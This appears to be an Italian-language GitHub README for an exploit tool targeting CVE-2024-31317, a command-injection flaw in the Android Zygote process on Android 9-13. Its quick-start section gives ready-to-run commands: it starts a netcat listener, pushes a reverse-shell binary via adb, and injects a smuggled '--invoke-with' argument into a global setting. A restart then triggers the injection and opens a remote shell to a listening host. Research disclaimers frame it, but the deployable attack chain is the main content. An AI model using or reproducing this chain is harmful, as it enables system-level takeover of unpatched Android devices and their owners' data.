CVE-2024-31317 Deployer

🔒 Dichiarazione di ricerca sulla sicurezza

Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. L'utilizzo di questo strumento per test non autorizzati è illegale. L'autore non si assume alcuna responsabilità per abusi o danni.

📋 Panoramica

CVE-2024-31317 è una grave vulnerabilità di sicurezza che interessa i dispositivi Android dalla versione 9 alla 13, consentendo a un'applicazione con il permesso WRITE_SECURE_SETTINGS di ottenere l'esecuzione a livello di sistema tramite iniezione di comandi.

Questo progetto fornisce un'analisi tecnica dettagliata della vulnerabilità, un codice di proof-of-concept e strumenti di distribuzione automatizzata.

✨ Caratteristiche principali

• 📱 Supporto per Android 9-13 tutte le versioni
• 🛠️ Script di distribuzione automatizzata
• 🔄 Connessione Reverse Shell
• 📊 Documentazione tecnica dettagliata
• 🎯 Progettazione modulare

🐛 Dettagli della vulnerabilità

• CVE ID: CVE-2024-31317
• Tipo di vulnerabilità: Iniezione di comandi
• Livello di gravità: Alto (High)
• Punteggio CVSS: 7.8
• Componente interessato: Processo Zygote di Android
• Stato della correzione: Corretto nella patch di sicurezza Android di giugno 2024

🎯 Impatto

Versioni interessate

• ✅ Android 9-13

Versioni non interessate

• ❌ Android 14+ (corretto)
• ❌ Dispositivi con patch di sicurezza di giugno 2024 o successive

📁 Struttura del progetto

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 Avvio rapido

1. Clonare il progetto

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Compilare il payload

chmod +x compile.sh
./compile.sh

3. Distribuire

# Avviare il listener
nc -lvnp 4444

# Inviare ed eseguire
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# Iniettare il payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# Attivare la vulnerabilità
adb shell stop && adb shell start

📚 Documentazione

• Analisi tecnica approfondita
• Istruzioni per l'uso del payload
• Guida completa all'utilizzo

⚠️ Negazione di responsabilità

Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. Utilizzando questo strumento, accetti di:

• rispettare tutte le leggi e normative applicabili
• utilizzarlo solo per ricerche di sicurezza legittime
• assumerti la piena responsabilità delle tue azioni

📜 Licenza

Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli

👨‍💻 Autore

fcy10012 - GitHub

🙏 Ringraziamenti

Progetto di riferimento: WebLDix/CVE-2024-31317-PoC-Deployer

---

⭐ Se questo progetto ti è stato utile, dagli una stella!